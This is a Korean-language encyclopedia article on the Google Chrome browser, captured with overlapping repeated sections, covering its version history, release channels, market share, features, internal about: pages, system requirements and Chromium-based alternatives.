DNSSEC 검증.[27] 15.0.874.102 2011-10-25 535.2 3.5.10.22 빨라진 인쇄 미리보기. 실험적 새 탭 페이지가 기본적으로 적용됨. 자바스크립트 전체 화면 API가 이제 기본적으로 적용됨.[28] 검색주소창 역사 동기화.[29] FFmpeg가 기본 VP8 디코더로 전환.[30] 확장프로그램 관리자를 옵션 메뉴로 설정 16.0.912.63 2011-12-13 535.7 3.6.6.5 다중 프로필 기본적으로 적용.[29] 검색 엔진 설정 동기화.[31] 17.0.963.46 2012-02-08 535.11 3.7.12.29 히스토리 탭 개선, 새로운 확장 API, 검색엔진 동기화 지원, 새 탭 버튼에서 "+" 삭제, 다운로드된 파일 보안 검사 기능추가 18.0.1025.142 2012-03-28 535.19 3.8.9.19 새 탭 버튼 밝게 수정. GPU 가속을 지원하는 Canvas2D 그래픽 추가. SwiftShader를 통해 3D그래픽 가속 기능 지원 (WebGL). 19.0.1084.46 2012-05-15 536.5 3.9.24.7 실험기능으로 V8 엔진이 자바스크립트 Harmony (ECMAScript 6)를 지원함. 모든 기기에 페이지 동기화 기능. 새 탭 페이지 맨 아래에 Chrome Web Store 링크 추가. 철자 검사기능 추가 20.0.1132.43 2012-06-26 536.10 3.10.6.0 실험기능으로 터치 최적화 UI 추가 21.0.1180.60 2012-07-31 537.1 3.11.10.6 Media Stream API 기본적으로 활성화, Gamepad API 프로토타입 기본적으로 활성화, HTML5 오디오/비디오 와 웹 오디오가 '24-비트 PCM 웨이프 파일'을 지원 22.0.1229.79 2012-09-25 537.4 3.12.19.4 TLS 1.1 기본적으로 지원, 새로운 방식의 패키지 앱을 기본적으로 활성화, 새로운 메뉴 아이콘, 색 관리 ICC v2 프로파일 기본적으로 지원 23.0.1271.64 2012-11-06 537.10 3.13.7.5 추적금지(Do Not Track) 시행, 같은 상황에서 그래픽칩셋 가속시 전력소비 효율 25% 증가, 사이트 접근 컨트롤 제어, 맥 또한 PPAPI 플래시 플레이어 (또는 Pepper-based 플래시 플레이어)로 대체됨, 새 탭을 열때 새로운 크롬 웹 스토어 아이콘 24.0.1312.52 2013-01-10 537.17 3.14.5.0 MathML 지원, HTML5 데이터리스트 요소 지원, 실험기능으로 CSS 커스텀 필터 추가 25.0.1364.97 2013-02-21 537.22 3.15.11.1 Opu 오디오 지원, [VP9]] 비디오 지원, 외부 확장기능 제어 향상 26.0.1410.43 2013-03-26 Ask Google for suggestion 스펠링체킹 기능 향상, 다중사용자를 위한 바로가기 추가(윈도우) 27.0.1453.93 2013-05-21 웹페이지 로딩 속도 평균 5% 향상, 새로운 API 추가 28.0.1500.71 2013-07-09 537.36 3.18.5.9 웹킷 엔진을 블링크 엔진으로 교체, 알림 기능 확장 29.0.1547.58 2013-08-20 30.0.1599.66 2013-10-01 더 쉬워진 이미지 검색 기능, 안정성과 성능향상을 위한 변화 31.0.1650.48 2013-12-12 32.0.1700.77 2014-01-14 사운드, 캠 등의 작동여부 탭에 표시, 윈도우 8용 메트로 모드, 멀웨어 자동블록, 다양한 앱과 확장프로그램에 대한 API 33.0.1750.117 2014-02-20 34.0.1847.116 2014-04-08 35.0.1916.114 2014-05-20 새로운 자바스크립트 기능 36.0.1985.125 2014-07-16 알림기능 향상, 익명모드와 게스트모드의 디자인 변경, 리눅스에서의 크롬앱런처 추가 37.0.2062.94 2014-08-26 38.0.2125.101 2014-10-07 39.0.2171.65 2014-12-18 맥에서의 64비트 지원 40.0.2214.91 2015-01-21 pdf 파일 인쇄 기능 지원 41.0.2272.76 2015-03-03 4.1.0.21 42.0.2311.90 2015-04-14 4.2.77.14 푸시 알림 API추가, 새로운 북마크 인터페이스 43.0.2357.65 2015-05-19 4.3.61.21 44.0.2403.89 2015-07-21 4.4.63.19 동영상 재생 퍼포먼스 개선 45.0.2454.85 2015-09-01 4.5.103.29 플래시 광고 기본 차단, NPAPI 지원 중단, 메모리 사용량 약 10% 감소, 배터리 효율 증가 46.0.2490.71 2015-10-13 4.6.85.25 HTTPS 아이콘 표시 간략화[32] 47.0.2526.73 2015-12-01 4.7.80.23 알림기능 개선.[33]알림센터 삭제 48.0.2564.82 2016-01-20 4.8.271.17 49.0.2623.75 2016-03-02 4.9.385.28 윈도우 XP/윈도우 비스타/OS X 10.6~10.8을 지원하는 마지막 버전. 50.0.2661.75 2016-04-13 5.0.71.32 푸시 알림 개선[34] 51.0.2704.63 2016-05-25 5.1.281.47 로그인 경험 개선, 전력소비 개선[35] 52.0.2743.82 2016-07-20 5.2.361.43 53.0.2785.89 2016-08-31 5.3.332.37 54.0.2840.59 2016-10-12 5.4.500.31 55.0.2883.75 2016-12-01 5.5.372.29 RAM 누수 현상 30% 개선 56.0.2924.76 2017-01-25 5.6.326.42 Web Bluetooth 지원, HTTPS가 적용되지 않은 패스워드 입력창과 결제창에서 주소표시줄에 "Not Secure" 메시지 표시, 페이지 리로딩 속도 28% 향상[36] 57.0.2987.133 2017-03-29 5.7.492.63 백그라운드 탭 작동 변경으로 에너지 소비 감소[37] 58.0.3029.41 2017-03-29 5.8.283.12 59.0.3053.3 2017-03-28 5.9.50.0 59.0.3059.0 2017-04-01 배포 버전[편집] 안정판(Stable)[편집] 베타 버전의 안정화 버전을 바탕으로 한다. 그렇다 알려진 버그와 오랜 기간 동안 테스트를 거친 새로운 기능이 추가된다. 안정화 버전은 새로운 기능과 성능보다는 안정적인 사용에 초점이 맞춰져 있다. 일반적으로 배포되는 크롬이 안정화 버전이다. 시험판(Beta)[편집] 개발자 버전의 안정화 버전을 바탕으로 한다. 보통 한 달 업데이트 주기를 가진다. 안정화 버전과 개발자 버전의 중간 단계 아래의 버전들보다는 비교적 안정적인 편이다. 약간의 안정성을 희생하더라도 최신 기술을 체험해보길 원하는 일반사용자들에게 적합하다. 개발자판(Dev)[편집] 최신 크로미엄의 안정화 버전을 바탕으로 한다. 새로운 버전이 매주 업데이트되며 간혹 치명적 문제점은 그 보다 더 빨리 수정되곤 한다. 최신 웹키트 레이아웃 엔진과 V8 자바스크립트 엔진이 업데이트된다. 알 수 없는 오류 혹은 안정화되지 않은 기능으로 인한 데이터 손실 등을 감수하고 새로운 기능을 써보고 싶은 하이엔드 사용자에게 적합. 카나리아(Canary Build)[편집] 기존 베타, 개발자 버전을 설치할 때 안정화 버전과 겹쳐 설치가 되는 문제를 해결하기 위하여 최신 크로미엄 버전과 동일한 버전을 다른 폴더에 중복 설치하는 버전이다. 항상 최신 버전을 유지한다. 따라서 거의 매일 패치된다. 기존 크롬과 달리 노란색 아이콘으로 표시된다. 플러그인 충돌과 같은 문제가 발생할 수 있으며 예상치 못한 버그가 발생할 수 있다. 매우 높은 위험성과 버그들을 감수할 수 있는 얼리어답터들에게 적합하다. 시장 점유율[편집] 스탯카운터에 따르면 2012년 7월 구글 크롬의 시장 점유율은 33.81%이다.[38] 버전별 시장 점유율[편집] 아래 표는 스탯카운터의 2015월 2월 1일부터 28일까지의 데스크탑 브라우저 점유율 통계이다.[39] 스탯카운터 버전 시장 점유율 지난달 대비 크롬 36.0 1.07% 크롬 37.0 1.22% -0.06%p 크롬 38.0 ?? ?? 크롬 39.0 2.94% -29.43%p 크롬 40.0 40.85% +31.15%p 모든 버전 52.27% +0.55%p 세계 웹 브라우저 시장에서 점유율[편집] 이 부분의 본문은 웹 브라우저 시장 점유율 § 요약 표입니다. 2016년 8월 웹 브라우저 점유율 소스 구글 크롬 인터넷익스플로러 파이어폭스 사파리 엣지 기타 스탯카운터 58.37% 9.80% 13.92% 9.61% 2.87% 5.43% W3카운터 58.10% 7.79% 12.40% 12.70% 1.71% 0.00% 클리키 54.21% 15.96% 16.40% 7.73% 4.42% 1.25% 2016년 8월 기준 구글 크롬은 전 세계 시장 점유율 1위를 차지하고 있다. 분석 기준이 다르기 때문에 업체간 결과 수치에 차이가 있다.[B] 국내 웹 브라우저 시장에서의 점유율[편집] 국내 웹로그 분석 업체인 Bizspring의 2018년 4/4분기 분석에 따르면(모바일+PC), 구글 크롬이 44.09%로 우위를 보이며, 인터넷 익스플로러(29.51%)와 모바일 사파리(17.56%)가 그뒤를 따르고 있다.[40] 기능[편집] 주소 자동 완성 기능과 검색 기능 갖춘 검색주소창(Omnibox) V8 자바스크립트 가상 머신 탑재 시크릿 모드(인코그니토, Incognito)라 불리는 개인 정보 보호 모드[41] 이 모드를 열면 사용자 정보를 수집하거나 공유하는 웹사이트, 방문 페이지를 추적하는 인터넷 서비스 제공업체 또는 고용주, 무료 이모티콘을 제공하는 대신 키 입력을 추적하는 악성 소프트웨어, 비밀 요원의 감시, 뒤에 서 있는 사람에 대해 주의하라는 경고 메시지가 나타난다. 주소창과 도구 모음이 없는 창을 통해 웹 애플리케이션 직접 구동 가능 피싱 사이트나 유해 소프트웨어 차단 정보를 구글 세이프 브라우징 API를 통해 자동으로 갱신 웹키트 레이아웃 엔진 사용 보안(keyFunction)과 신뢰성 향상을 위해 개별 탭에 대한 프로세스를 분리 기어와의 통합 독립적인 탭, 자체적인 작업 관리자 기능 탭을 합치거나 별도의 창으로 분리할 수 있다. 기타 향상된 보안 기능들 (향상된 팝업창 차단 등) 다양한 확장기능 설치 (구글 크롬 확장 프로그램) 테마 적용 구글 문서 도구와 연동되는 북마크·확장기능 동기화 구글 번역을 이용한 웹페이지 자동 번역 IE를 탭으로 사용하도록 가능한 기능 익스플로러 사용 IE 탭 멀티 (Enhance)[42] GPU 가속을 지원한다. 다만, 설정을 따로 해야한다. (카나리아는 변수를 지정해야하고 나머지 버전은 '실험실 기능'에서 골라쓰면 된다.) 크롬 About 주소명령체계[편집] 크롬은 애플리케이션을 활용하기 위해 웹사이트나 파일 대신 프로그램내 특수한 주소명령체계를 이용하고 있다. 다음은 그 목록이다.[43] about:about - about 페이지들의 목록. about:blank - 빈 페이지. about:cache - 구글 크롬으로 캐시된 모든 웹 페이지의 목록. about:conflicts - 메인 프로세스에 로드된 모듈과 마지막 시점에서 등록된 모듈. about:crash - 현재의 페이지를 충돌시킨다. about:credits - 만든이들, 사용된 라이선스, 그리고 크롬을 만들때 쓰인 모든 소프트웨어들의 링크 about:dns - DNS 프리패칭(prefetching) 엔진 검사. about:gpu - GPU가속 디버깅을 위해 보조 사용되는 그래픽 카드 정보. about:histograms - 내부적으로 실행한 명령의 자세한 히스토그램을 볼 수 있다. about:memory - 사용된 메모리. about:net-internals - 네트워크 검사. about:flags - 실험적인 브라우저 기능들.[44] about:plugins - 설치된 플러그인들의 목록, (확장프로그램이 아니다) 또한 점검을 위해 플러그인 사용중지 기능이 지원된다. about:sync - 동기화 엔진 검사. about:tcmalloc - 마지막 페이지 로드 상태. about:terms - 크롬 서비스 약관. about:version, about: - 크롬, 웹키트, V8, 그리고 실행에 이용된 명령줄 옵션. chrome://accessibility - 접근성 기능 On/Off, 접근성 트리정보 확인 chrome://bookmarks - 북마크 관리자. chrome://downloads - 다운로드 관리자. chrome://extensions - 확장프로그램 관리자. chrome://history - 방문 기록. chrome://print - 프린트 미리보기 chrome://settings - 크롬 설정. chrome://view-http-cache - 캐시된 HTTP 개체. view-cache:url - 고급설정 캐시의 자세한 부분 중 일부를 볼 수 있다. view-source:url - 특정 URL의 소스코드 보이기. 시스템 요구사항[편집] 최적의 크롬을 사용하려면 다음의 사항이 필요하다.[45] 윈도우: 윈도우 7[46], 인텔 펜티엄 4 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리/윈도우 8 혹은 그 이상 맥 OS X: 10.9.0 또는 그 이상[47], 인텔 (PPC 제외), 100 MB 여유 용량, 128 MB 메모리 리눅스: 우분투 8.04 또는 그 이상 / 데비안 5 / 오픈수세 11.1, 인텔 펜티엄 3 / 애슬론 64 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리 특히 우분투 및 데비안 계열에서의 '사용자 식별 인증키 설정 요구사항'을 만족하는 안정화 버전의 크롬 설치과정은 gdebi라는 어드밴스트 패키징 툴(APT)에 최적화되어있다.[48] 한편 IBM 레드햇 계열의 페도라는 DNF 차원에서 레포지토리 설정후 설치를 지원한다.[49] 그 외[편집] 64비트 지원: 크롬 37에서 윈도우까지 64비트를 지원하게 되어 모든 운영체제에서 64비트를 지원하고 있다. SPDY와 HTTP/2: HTTP/2 표준 선정에 SPDY가 많은 기여를 하였으며 HTTP/2 규격이 발표됨에따라 구글에서는 SPDY 포기하고 HTTP/2에 집중할 것을 선언하였다.[50] 기타 브라우저[편집] 쿨노보 쿨노보(옛 명칭 크롬플러스)는 중국의 메이플 스튜디오에서 크로미엄을 기반으로 만든 웹 브라우저이다. 구글 크롬과 달리 IE 탭, 마우스 제스처 등의 기능을 부가 기능 설치 없이 이용할 수 있다. 대신 보안 업데이트가 느리기 때문에 보안이 취약하다. 크로미엄 크로미엄(Chromium)은 오픈 소스 웹 브라우저 프로젝트이며 주로 최신 기술을 시험하는 테스트 베드 역할로 공식 프로젝트인 구글 크롬의 바탕이 되는 브라우저이다. SR웨어 아이언 SR웨어 아이언(SRWare Iron)은 크로미엄을 기반으로 구현된 오픈 소스 웹 브라우저이다. 구글 크롬과 달리 사용 추적(Usage tracking) 등의 기능이 제거되어 있고, 광고 차단(Ad-block) 기능이 내장되어 있다. 스윙 브라우저 크로미엄 기반 브라우저 이며 줌인터넷에서 엑티브x와 알툴바기능을 집어넣어 만든것이 특징이다. 같이 보기[편집] 웹 브라우저 목록 구글 구글 크롬 OS 크로미엄 OS 블링크 각주[편집] 내용주 ↑ 구글 크롬의 정식 명칭은 'Chrome'이다. 출시 당시에는 Google Chrome이었으나 버전 13부터 Chrome으로 변경되었다.[출처 필요] ↑ 스탯카운터는 조회수를 기준으로 하는 통계이고, 넷 애플리케이션은 순방문자를 기준으로 하는 통계이다. 다시 말해, 스탯카운터의 통계는 가중치를 적용한 통계이고 넷 애플리케이션의 통계는 가중치를 적용하지 않은 통계이다. 예를 들어, 100명의 사용자는 모두 두 분석 업체가 통계를 기반으로 하는 사이트에 접속을 하고, 100명의 사용자 중 70명의 사용자는 인터넷 익스플로러를 사용하고 30명의 사용자는 구글 크롬을 사용한다고 하자. 스탯카운터는 사용자의 조회수에 따라 점유율이 다르게 나타난다. 가령, 70명의 인터넷 익스플로러 사용자가 발생시키는 총 조회수가 400이고, 30명의 구글 크롬 사용자가 발생시키는 총 조회수가 600이라면, 시장 점유율은 인터넷 익스플로러는 40%, 구글 크롬은 60%가 된다. 반면 넷 애플리케이션은 순방문자만을 집계하므로 조회수와 상관없이 시장 점유율은 인터넷 익스플로러는 70%, 구글 크롬은 30%가 된다. 또한, W3카운터는 집계시에 모바일을 함께 하므로 여타 기관들과 표본 차이가 있다. 참조주 ↑ “구글코리아의 크롬 발표 블로거간담회 내용”. 김중태문화원 블로그. 2008년 9월 3일. 2009년 1월 16일에 원본 문서에서 보존된 문서. 2009년 3월 21일에 확인함.  ↑ “스탯카운터의 글로벌 통계”. 스탯카운터. 2013년 9월 20일에 확인함.  ↑ “Chromium.org”. 2010년 12월 3일에 원본 문서에서 보존된 문서. 2010년 12월 22일에 확인함.  ↑ “Release Info”.  ↑ “Google Chrome Releases: Stable Update: Google Chrome 2.0.172.28”. 구글. 2009년 5월 21일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 1월 25일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 3월 17일.  ↑ Brian Rakowski (2010년 5월 25일). “Evolving from beta to stable with a faster version of Chrome”. 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구글 크롬 - 위키백과, 우리 모두의 백과사전 구글 크롬 위키백과, 우리 모두의 백과사전. (크롬 브라우저에서 넘어옴) 둘러보기로 가기 검색하러 가기 이 문서는 구글의 인터넷 브라우저에 관한 것입니다. 원소에 대해서는 크로뮴 문서를 참조하십시오. 구글 크롬Google Chrome 개발자 구글 발표일 2008년 9월 3일 안정화 버전 75.0.3770.100 (2019.6.18 미리보기 버전 77.0.3833.0 개발 상태 개발 중 프로그래밍 언어 C++, 어셈블리어, 파이썬, 자바스크립트 운영 체제 안드로이드 (4.0 이상)iOS (9.0이상)리눅스macOS (10.9 이상)윈도우 (윈도우 7이상) 엔진 블링크, V8 플랫폼 x86, x64, 32비트, ARMv7 언어 53개국어 (한국어 포함) 종류 웹 브라우저 라이선스 Google 크롬 서비스 약관웹키트: BSD/LGPL;V8: BSD. 웹사이트 www.google.co.kr/chrome 구글 크롬[A](Google Chrome)은 구글이 개발중인 프리웨어 웹 브라우저이다. 버전 27 까지는 웹키트 레이아웃 엔진을 이용했으나 버전 28 이후는 웹키트의 포크인 블링크를 사용한다. 구글 크롬은 간단하고 효율적인 사용자 인터페이스를 제공하며 현존하는 다른 웹 브라우저들에 비해 나은 안정성과 속도, 그리고 보안성을 갖는 것을 목표하고 있다. 2008년 9월 3일 마이크로소프트 윈도우용 베타 버전이 나왔으며, 2008년 12월 11일 첫 안정화 버전이 나왔다. 크롬이란 뜻은 원래 그래픽 사용자 인터페이스에서 창틀을 가리키는데, 여기서는 브라우저 틀 영역을 가리키며, 이 영역을 최소화시키자는 목표로 크롬이라고 이름을 지었다고 한다.[1] 스탯카운터 통계 기준으로 2012년 5월부터 인터넷 익스플로러를 제치고 현재 전 세계에서 가장 많이 쓰이는 웹 브라우저이다.[2] 목차 1 역사 1.1 출시 발표 1.2 발달 1.3 버전 역사 2 배포 버전 2.1 안정판(Stable) 2.2 시험판(Beta) 2.3 개발자판(Dev) 2.4 카나리아(Canary Build) 3 시장 점유율 3.1 버전별 시장 점유율 3.2 세계 웹 브라우저 시장에서 점유율 3.3 국내 웹 브라우저 시장에서의 점유율 4 기능 4.1 크롬 About 주소명령체계 5 시스템 요구사항 6 그 외 7 기타 브라우저 8 같이 보기 9 각주 10 외부 링크 역사[편집] 출시 발표[편집] 구글 크롬의 발표는 2008년 9월 2일에 하였으며 출시는 2008년 9월 3일에 예정되어 있었다. 구글 크롬의 특징을 설명하고 새로운 브라우저에 대한 관심을 유발시키기 위해 만화가 스콧 맥클라우드가 그린 만화가 저널리스트들과 블로거들에게 보내졌다. 발달[편집] 구글 크롬은 구글과 모질라 넷스케이프 포타블 런타임(Mozilla's Netscape Portable Runtime), 네트워크 보안 서비스(Network Security Service), NPAPI 이 밖에도 SQLite, 많은 오픈 소스를 통해 25개의 코드 라이브러리를 모아 만들어졌다. 버전 역사[편집] 색깔 뜻 빨간색 오래된 버전 초록색 안정화 버전 파란색 베타 버전 보라색 개발자 버전 분홍색 카나리아 버전 주요버전 출시 날짜 레이아웃 버전[3] V8 엔진 버전[4] 운영체제 지원 중요 변경내용 0.2.149 2008-09-08 522 0.3 윈도우 첫 출시. 0.3.154 2008-10-29 플러그인과 웹 프록시의 성능 및 신뢰성 개선. 입력 칸을 위한 맞춤법 검사기 추가. 탭과 창 관리기능 개선. 0.4.154 2008-11-24 525 가져오기 및 내보내기 기능을 포함한 북마크 관리자 지원. 옵션에 개인정보 설정 추가. 팝업 차단 알림 방법 변경, 몇가지 보안기능 수정. 1.0.154.36 2008-12-11 528 첫 안정화 버전 출시. 2.0.172.28 2009-05-21 530 0.4 35% 더 빨라진 자바스크립트 속도 (SunSpider 벤치마크). 마우스 휠 지원. 전체화면 모드. 전체페이지 줌. 양식 자동완성. 북마크 제목순으로 정렬. 브라우저와 데스크톱 가장자리 탭 도킹. 기초적 그리스몽키 지원.[5] 3.0.195.21 2009-09-15 532 1.2 맞춤화된 새로운 "새 탭 페이지". 25% 빨라진 자바스크립트 속도. HTML5의 비디오와 오디오 요소 지원. 가벼워진 테마. 4.0.249.78 2010-01-25 532.5 1.3 확장 프로그램, 북마크 동기화, 강화된 개발자 도구, 더 나아진 HTML5 지원, 더 나아진 성능, Acid3 테스트 모두 통과, HTTP 바이트 범위 지원, 늘어난 보안성과 교차 사이트 스크립팅을 방지하기 위한 실험적인 XSS 감시기능(Auditor) 새로 추가.[6] 4.1.249.1036 2010-03-17 번역 정보막대, 새로운 개인정보 보호 기능, XSS 감시기능(Auditor) 비활성화.[7] 5.0.375.55 2010-05-25 533 2.1 윈도우맥리눅스 더 나아진 자바스크립트 기능, 브라우저 설정 동기화, 더 늘어난 HTML5 지원 (GPS API, 앱 캐시, 웹 소켓 그리고 파일 드래그 앤 드롭), 새로 만들어진 북마크 관리자, 통합된 어도비 플래시 플레이어.[8][9] 6.0.472.53 2010-09-02 534.3 2.2 새롭고 간결화된 사용자 인터페이스와 간소화된 검색주소창, 새 탭 페이지, 하나로 합쳐진 메뉴 단추. 양식 자동완성. 확장 프로그램과 양식 자동완성 정보를 포함하는 확대된 동기화 기능. WebM형식 비디오 지원. 더 나아진 성능과 안정성.[10] 내장된 PDF 지원 기능 (기본적으로 비활성화).[11] 7.0.517.43 2010-10-19 534.7 2.3.11.22 몇백가지의 오류 수정과 함께 주로 안정화를 위해 출시. HTML5 파싱 알고리즘, 파일 API, 입력 요소를 통한 디렉토리 업로드 구현. 맥 OS X 버전에 사용자 인터페이스 자동화를 위한 애플스크립트 추가.[12] SSL 소켓을 위한 후기 바인딩 활성화: 이제 높은 우선순위의 SSL 요청은 항상 서버에 먼저 보내짐. 쿠키를 관리 할 수 있는 새 옵션. 웹 애플리케이션 특징을 활성화 할 수 있도록 업데이트 된 새 탭 페이지. 8.0.552.215 2010-12-02 534.10 2.4.9.19 크롬 웹스토어, 보안을 위해 크롬의 샌드박스 안에서 실행되는 내장 PDF 뷰어, 웹 애플리케이션을 포함하는 확대된 동기화 기능, 더 나아진 플러그인 조작.[13] 그리고 이번 배포 버전에서는 순간 검색, 사이드 탭(윈도우 전용), 탭 구성 설정, 클릭 투 플레이, 백그라운드 웹 애플리케이션, 원격 설정, 오래된 플러그인 사용 안함, XSS 감시기능(Auditor), 클라우드 프린트 프록시, GPU 가속 합성, 캔버스 요소를 위한 WebGL 지원, 익스포제기능과 비슷한 "탭 오버리뷰" 모드 (맥 전용)와 같은 실험적 기능들이 나열된 "about:flags"가 추가되었다. 9.0.597.84 2011-02-03 534.13 2.5.9.6 기본적으로 WebGL 활성화, 어도비 플래시 샌드박스 실행(윈도우 전용)과 순간검색 옵션.[14] WebP 지원.[15] 새로운 about:flags: 프린트 미리보기(Print Preview), GPU 가속 합성(GPU Accelerated Compositing), GPU 가속 캔버스 2D, 구글 네이티브 클라이언트(Google Native Client), CRX 없는 웹 앱(CRX-less Web Apps), 웹페이지 프리렌더링(Web Page Prerendering), 실험적 확장 프로그램 API(Experimental Extension APIs), 하이퍼링크 감시 비활성화. 10.0.648.127 2011-03-08 534.16 3.0.12.30 구글 클라우드 프린트 서명 인터페이스를 기본적으로 활성화. GPU 프로세스 샌드박스에서 실행 (현재 부분적으로 시행 중, v10 최종버전에 완성 예정이었으나 v11 최종버전으로 미루어짐).[16][17] V8을 위한 개선된 컴파일러인 크랭크샤프트(Crankshaft) 통합으로 빨라진 자바스크립트 성능.[18] 옵션 창 탭으로 변경. 11.0.696.57 2011-04-27 534.24 3.1.8.16 HTML5의 음성 입력 API 지원.[19] 아이콘 변경.[20] 12.0.742.91 2011-06-07 534.30 3.2.10.21 탭 다중 선택 지원. Ctrl키를 누른 상태에서 탭을 마우스로 클릭하여 여러 탭을 선택할 수 있으며, 동시에 여러 작업을 한번에 처리할 때 사용함.(윈도우 전용) 3D CSS 하드웨어 가속. 악성 파일을 내려받기 하지 않음으로써 새로운 안전 브라우징 프로텍션(Safe Browsing Protection) 기능. 크롬 내부의 플래시 쿠키 삭제 기능. 검색주소창(Omnibox)에서 애플리케이션의 이름을 입력하여 애플리케이션 실행. 동기화를 옵션 창에 통합. 구글 기어스 삭제[21] 및 G메일, 구글 문서도구 등과 같은 HTML5의 오프라인 기능으로 대체.[22] 매킨토시(Mac)에서 Command-Q를 입력했을 때 경고 추가. PDF 뷰어에 프린트 버튼, 세이브 버튼 추가.[23] 13.0.782.107 2011-08-02 535.1 3.3.10.30 탭 그룹화(Tab Grouping). 웹페이지 프리렌더링(Prerendering). 실행 시 기존 탭에 초점(검색주소창에 이미 실행된 탭의 URL을 입력하면, 입력된 URL을 현재 탭에서 새로 실행하지 않고 이미 실행된 탭으로 초점을 이동함). 가속화된 2D 캔버스. 프린트 미리보기 개선 및 실험적 새 탭 페이지.[24] 14.0.835.163 2011-09-16 535.1 3.4.14.21 크롬 웹 스토어에서 네이티브 클라이언트(NaCl) 애플리케이션이 적용됨.[25] 웹 오디오 API 추가. 맥 OS X 라이언에서 추가적인 기능 지원. 모든 데이터에 대한 암호 동기화. 맥에서 프린트 미리보기 지원. 실험적 웹 요청 확장 API 추가. 실험적 콘텐츠 설정 확장 API 추가.[26] HTTPS 사이트의 DNSSEC 검증.[27] 15.0.874.102 2011-10-25 535.2 3.5.10.22 빨라진 인쇄 미리보기. 실험적 새 탭 페이지가 기본적으로 적용됨. 자바스크립트 전체 화면 API가 이제 기본적으로 적용됨.[28] 검색주소창 역사 동기화.[29] FFmpeg가 기본 VP8 디코더로 전환.[30] 확장프로그램 관리자를 옵션 메뉴로 설정 16.0.912.63 2011-12-13 535.7 3.6.6.5 다중 프로필 기본적으로 적용.[29] 검색 엔진 설정 동기화.[31] 17.0.963.46 2012-02-08 535.11 3.7.12.29 히스토리 탭 개선, 새로운 확장 API, 검색엔진 동기화 지원, 새 탭 버튼에서 "+" 삭제, 다운로드된 파일 보안 검사 기능추가 18.0.1025.142 2012-03-28 535.19 3.8.9.19 새 탭 버튼 밝게 수정. GPU 가속을 지원하는 Canvas2D 그래픽 추가. SwiftShader를 통해 3D그래픽 가속 기능 지원 (WebGL). 19.0.1084.46 2012-05-15 536.5 3.9.24.7 실험기능으로 V8 엔진이 자바스크립트 Harmony (ECMAScript 6)를 지원함. 모든 기기에 페이지 동기화 기능. 새 탭 페이지 맨 아래에 Chrome Web Store 링크 추가. 철자 검사기능 추가 20.0.1132.43 2012-06-26 536.10 3.10.6.0 실험기능으로 터치 최적화 UI 추가 21.0.1180.60 2012-07-31 537.1 3.11.10.6 Media Stream API 기본적으로 활성화, Gamepad API 프로토타입 기본적으로 활성화, HTML5 오디오/비디오 와 웹 오디오가 '24-비트 PCM 웨이프 파일'을 지원 22.0.1229.79 2012-09-25 537.4 3.12.19.4 TLS 1.1 기본적으로 지원, 새로운 방식의 패키지 앱을 기본적으로 활성화, 새로운 메뉴 아이콘, 색 관리 ICC v2 프로파일 기본적으로 지원 23.0.1271.64 2012-11-06 537.10 3.13.7.5 추적금지(Do Not Track) 시행, 같은 상황에서 그래픽칩셋 가속시 전력소비 효율 25% 증가, 사이트 접근 컨트롤 제어, 맥 또한 PPAPI 플래시 플레이어 (또는 Pepper-based 플래시 플레이어)로 대체됨, 새 탭을 열때 새로운 크롬 웹 스토어 아이콘 24.0.1312.52 2013-01-10 537.17 3.14.5.0 MathML 지원, HTML5 데이터리스트 요소 지원, 실험기능으로 CSS 커스텀 필터 추가 25.0.1364.97 2013-02-21 537.22 3.15.11.1 Opu 오디오 지원, [VP9]] 비디오 지원, 외부 확장기능 제어 향상 26.0.1410.43 2013-03-26 Ask Google for suggestion 스펠링체킹 기능 향상, 다중사용자를 위한 바로가기 추가(윈도우) 27.0.1453.93 2013-05-21 웹페이지 로딩 속도 평균 5% 향상, 새로운 API 추가 28.0.1500.71 2013-07-09 537.36 3.18.5.9 웹킷 엔진을 블링크 엔진으로 교체, 알림 기능 확장 29.0.1547.58 2013-08-20 30.0.1599.66 2013-10-01 더 쉬워진 이미지 검색 기능, 안정성과 성능향상을 위한 변화 31.0.1650.48 2013-12-12 32.0.1700.77 2014-01-14 사운드, 캠 등의 작동여부 탭에 표시, 윈도우 8용 메트로 모드, 멀웨어 자동블록, 다양한 앱과 확장프로그램에 대한 API 33.0.1750.117 2014-02-20 34.0.1847.116 2014-04-08 35.0.1916.114 2014-05-20 새로운 자바스크립트 기능 36.0.1985.125 2014-07-16 알림기능 향상, 익명모드와 게스트모드의 디자인 변경, 리눅스에서의 크롬앱런처 추가 37.0.2062.94 2014-08-26 38.0.2125.101 2014-10-07 39.0.2171.65 2014-12-18 맥에서의 64비트 지원 40.0.2214.91 2015-01-21 pdf 파일 인쇄 기능 지원 41.0.2272.76 2015-03-03 4.1.0.21 42.0.2311.90 2015-04-14 4.2.77.14 푸시 알림 API추가, 새로운 북마크 인터페이스 43.0.2357.65 2015-05-19 4.3.61.21 44.0.2403.89 2015-07-21 4.4.63.19 동영상 재생 퍼포먼스 개선 45.0.2454.85 2015-09-01 4.5.103.29 플래시 광고 기본 차단, NPAPI 지원 중단, 메모리 사용량 약 10% 감소, 배터리 효율 증가 46.0.2490.71 2015-10-13 4.6.85.25 HTTPS 아이콘 표시 간략화[32] 47.0.2526.73 2015-12-01 4.7.80.23 알림기능 개선.[33]알림센터 삭제 48.0.2564.82 2016-01-20 4.8.271.17 49.0.2623.75 2016-03-02 4.9.385.28 윈도우 XP/윈도우 비스타/OS X 10.6~10.8을 지원하는 마지막 버전. 50.0.2661.75 2016-04-13 5.0.71.32 푸시 알림 개선[34] 51.0.2704.63 2016-05-25 5.1.281.47 로그인 경험 개선, 전력소비 개선[35] 52.0.2743.82 2016-07-20 5.2.361.43 53.0.2785.89 2016-08-31 5.3.332.37 54.0.2840.59 2016-10-12 5.4.500.31 55.0.2883.75 2016-12-01 5.5.372.29 RAM 누수 현상 30% 개선 56.0.2924.76 2017-01-25 5.6.326.42 Web Bluetooth 지원, HTTPS가 적용되지 않은 패스워드 입력창과 결제창에서 주소표시줄에 "Not Secure" 메시지 표시, 페이지 리로딩 속도 28% 향상[36] 57.0.2987.133 2017-03-29 5.7.492.63 백그라운드 탭 작동 변경으로 에너지 소비 감소[37] 58.0.3029.41 2017-03-29 5.8.283.12 59.0.3053.3 2017-03-28 5.9.50.0 59.0.3059.0 2017-04-01 배포 버전[편집] 안정판(Stable)[편집] 베타 버전의 안정화 버전을 바탕으로 한다. 그렇다 알려진 버그와 오랜 기간 동안 테스트를 거친 새로운 